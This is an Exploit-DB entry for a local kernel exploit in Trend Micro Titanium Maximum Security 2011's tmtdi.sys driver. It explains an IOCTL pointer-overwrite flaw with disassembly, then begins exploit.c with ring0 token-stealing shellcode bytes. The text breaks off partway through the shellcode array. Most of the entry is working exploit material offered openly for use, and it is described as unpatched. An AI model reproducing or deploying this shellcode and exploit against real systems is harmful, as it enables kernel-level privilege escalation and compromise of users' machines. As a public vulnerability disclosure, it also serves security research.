Exploit-DB #15376
Description: Trend Micro Titanium Maximum Security 2011 - Local Kernel
Type: local
Platform: windows
Date: 2010-11-01
Author: Nikita Tarakanov

Exploit:
/*
1.Description:

The tmtdi.sys kernel driver distributed with Trend Micro Titanium Maximum Security 2011 contains a pointer overwrite vulnerability in the handling of IOCTL 0x220404. 
Exploitation of this issue allows an attacker to execute arbitrary code within the kernel.
An attacker would need local access to a vulnerable computer to exploit this vulnerability. 


Affected application: Trend Micro Titanium Maximum Security 2011, up to date version 3.0.1303.
Affected file: tmtdi.sys version 6.5.0.1234.

2.Vulnerability details:

IoCtl handler of \\.\tmtdi device drivesr:


.text:0001D3CC ; int __stdcall sub_1D3CC(PDEVICE_OBJECT DeviceObject, PIRP pIrp)
.text:0001D3CC sub_1D3CC       proc near               ; DATA XREF: sub_1DD40+D0o
.text:0001D3CC
.text:0001D3CC var_4           = dword ptr -4
.text:0001D3CC DeviceObject    = dword ptr  8
.text:0001D3CC pIrp            = dword ptr  0Ch
.text:0001D3CC
.text:0001D3CC                 mov     edi, edi
.text:0001D3CE                 push    ebp
.text:0001D3CF                 mov     ebp, esp
.text:0001D3D1                 push    ecx
.text:0001D3D2                 mov     eax, [ebp+DeviceObject]
.text:0001D3D5                 mov     eax, [eax+28h]
.text:0001D3D8                 and     [ebp+var_4], 0
.text:0001D3DC                 push    ebx
.text:0001D3DD                 mov     ebx, [ebp+pIrp]
.text:0001D3E0                 push    esi
.text:0001D3E1                 mov     esi, ds:MmIsAddressValid
.text:0001D3E7                 push    edi
.text:0001D3E8                 mov     edi, [ebx+60h]
.text:0001D3EB                 push    edi             ; VirtualAddress
.text:0001D3EC                 mov     [ebp+pIrp], eax
.text:0001D3EF                 call    esi ; MmIsAddressValid
.text:0001D3F1                 test    al, al
.text:0001D3F3                 jnz     short loc_1D403

[..]

.text:0001DAF3                 mov     eax, ecx
.text:0001DAF5                 sub     eax, 220078h
.text:0001DAFA                 jz      loc_1DC89
.text:0001DB00                 sub     eax, 18h
.text:0001DB03                 jz      loc_1DC51
.text:0001DB09                 push    4
.text:0001DB0B                 pop     edi
.text:0001DB0C                 sub     eax, edi
.text:0001DB0E                 jz      loc_1DC30
.text:0001DB14                 sub     eax, 2Ch
.text:0001DB17                 jz      loc_1DBF1
.text:0001DB1D                 sub     eax, 14h
.text:0001DB20                 jz      loc_1DBBD
.text:0001DB26                 sub     eax, 330h
.text:0001DB2B                 jz      short loc_1DB7B

[..]

.text:0001DB7B loc_1DB7B:                              ; CODE XREF: sub_1D3CC+75Fj
.text:0001DB7B                 test    dword_2289C, 10000000h
.text:0001DB85                 mov     edi, [ebx+0Ch]
.text:0001DB88                 jz      short loc_1DB95
.text:0001DB8A                 push    offset aIoctrl_bind_cf ; "[IOCTRL_BIND_CFW]\n"
.text:0001DB8F                 call    DbgPrint
.text:0001DB94                 pop     ecx
.text:0001DB95                 push    edi             ; VirtualAddress
.text:0001DB96                 call    esi ; MmIsAddressValid
.text:0001DB98                 test    al, al
.text:0001DB9A                 jz      loc_1DD19
.text:0001DBA0                 cmp     [ebp+DeviceObject], 8 ; check for length
.text:0001DBA4                 jb      loc_1DD19
.text:0001DBAA                 mov     eax, [edi] ; eax - first DWORD from our buffer
.text:0001DBAC                 mov     dword_228B4, eax ; pointer overwrite




This address contains value that interprets as function pointer.
Function sub_10CD4 uses this value as function pointer.

.text:00010CD4 sub_10CD4       proc near               ; CODE XREF: sub_19234+480p
.text:00010CD4                                         ; sub_197FC+1D5p ...
.text:00010CD4                 mov     edi, edi
.text:00010CD6                 push    ebp
.text:00010CD7                 mov     ebp, esp
.text:00010CD9                 mov     ecx, dword_228B4 ; copy to ecx
.text:00010CDF                 xor     eax, eax
.text:00010CE1                 test    ecx, ecx
.text:00010CE3                 jz      short loc_10CE8 ; is NULL pointer
.text:00010CE5                 pop     ebp
.text:00010CE6                 jmp     ecx  ; direct jump to our shellcode
.text:00010CE8 ; ---------------------------------------------------------------------------
.text:00010CE8
.text:00010CE8 loc_10CE8:                              ; CODE XREF: sub_10CD4+Fj
.text:00010CE8                 pop     ebp
.text:00010CE9                 retn    4
.text:00010CE9 sub_10CD4       endp

We could invoke sub_10CD4 function by calling function bind.


Exploit code in exploit.c file (bellow).
*/

/*
# Exploit Title: Trend Micro Titanium Maximum Security 2011 0day Local Kernel Exploit
# Date: 2010-11-01 
# Author: Nikita Tarakanov (CISS Research Team)
# Software Link: http://us.trendmicro.com/us/products/personal/titanium-maximum-security/
# Version: up to date, version 3.0.1303, tmtdi.sys version 6.5.0.1234
# Tested on: Win XP SP3, Win Vista SP2, Win 7
# CVE : CVE-NO-MATCH
# Status : Unpatched
*/
#include <stdio.h>
#include "winsock2.h"
#include <windows.h>

#pragma comment(lib, "wininet.lib")
#pragma comment(lib, "Ws2_32.lib")


static unsigned char win2k3_ring0_shell[] =
  /* _ring0 */
  "\xb8\x24\xf1\xdf\xff"
  "\x8b\x00"
  "\x8b\xb0\x18\x02\x00\x00"
  "\x89\xf0"
  /* _sys_eprocess_loop   */
  "\x8b\x98\x94\x00\x00\x00"
  "\x81\xfb\x04\x00\x00\x00"
  "\x74\x11"
  "\x8b\x80\x9c\x00\x00\x00"
  "\x2d\x98\x00\x00\x00"
  "\x39\xf0"
  "\x75\xe3"
  "\xeb\x21"
  /* _sys_eprocess_found  */
  "\x89\xc1"
  "\x89\xf0"

  /* _cmd_eprocess_loop   */
  "\x8b\x98\x94\x00\x00\x00"
  "\x81\xfb\x00\x00\x00\x00"
  "\x74\x10"
  "\x8b\x80\x9c\x00\x00\x00"
  "\x2d\x98\x00\x00\x00"
  "\x39